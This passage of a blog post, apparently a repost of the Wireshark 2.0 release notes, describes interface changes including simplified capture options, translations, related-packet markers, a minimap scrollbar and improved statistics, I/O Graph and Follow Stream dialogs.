    • The Conversation Hash Tables dialog has been added.
    • The Dissector Tables dialog has been added.
    • The Supported Protocols dialog has been added.
    • You can now zoom the I/O and TCP Stream graph X and Y axes independently.
    • The RTP Player dialog has been added.
    • Several memory leaks have been fixed.

Changes in Wireshark 2.0

Capture options. Capture options have been simplified and consolidated. In 1.12 they are spread out in many places across several windows. In 2.0 they are in two places: the Capture Options dialog (Capture→Options or the “gear” icon in the toolbar) and the Manage Interfaces dialog, which you can open by pressing “Manage Interfaces” in the Capture Options dialog.

Streamlined preferences. Preferences windows usually aren’t something to get excited about and this is no exception, but it’s important to note that in the process of removing clutter some preferences have been removed from the main window. They’re still available in the “Advanced” preference section which lists every available preference item.

Translations. Thanks to the hard work of many contributors the new interface supports multiple languages. You can now select between Chinese, English, French, German, Italian, Japanese, and Polish in the “Appearance” preferences section. Many more translations are underway. You can see the status the translation efforts and help out with the effort at https://www.transifex.com/wireshark/wireshark/.

Related packets. As you scroll through the packet list you might notice little symbols pop up along its left edge. For example, you might see left and right arrows for DNS requests and Replies, or a check mark to denote an ACKed TCP packet. These are related packets. This exposes some plumbing we’ve had in place for a long time, but it’s now shown in the main window instead of buried deep in the packet detail tree.

Intelligent scrollbar. As you scroll through the packet list you might notice that the scroll bar itself looks odd. It now features a map of nearby packets, similar to the “minimap” available in many modern text editors. The number of packets shown in the map is the same as the number of physical vertical pixels in your scrollbar. The more pixels you have, the more packets you can see. In other words, if you use Wireshark regularly you now have a legitimate business case for a retina display.

Statistics dialogs. The dialogs under the Statistics and Telephony menus have seen many improvements. The backend code has been consolidated so that most of Wireshark’s statistics now share common internal logic. This in turn let us create common UI code with many workflow improvements and a much more consistent interface.

I/O Graph dialog. You can now graph as many items as you like and save graphs as PDF, PNG, JPEG, and BMP. Graph settings stay with your profile so you can customize them for multiple environments.

Follow Stream dialog. You can now switch between streams and search for text.

General dialogs. Many dialogs now have context-aware hints. For example the I/O Graph and Follow Stream dialogs will tell you which packet corresponds to the graph or stream data under your cursor. Most of them will stay open after you close a capture file so that you can compare statistics or graphs between captures.

Share:
Established in 2015. Offensive Sec Blog has been sharing security research, hacking tools, threat intelligence, and offensive security content since 2015.
Copyright © OffSec Blog | Powered by OffensiveSec
Design by OffSec | Built for the security community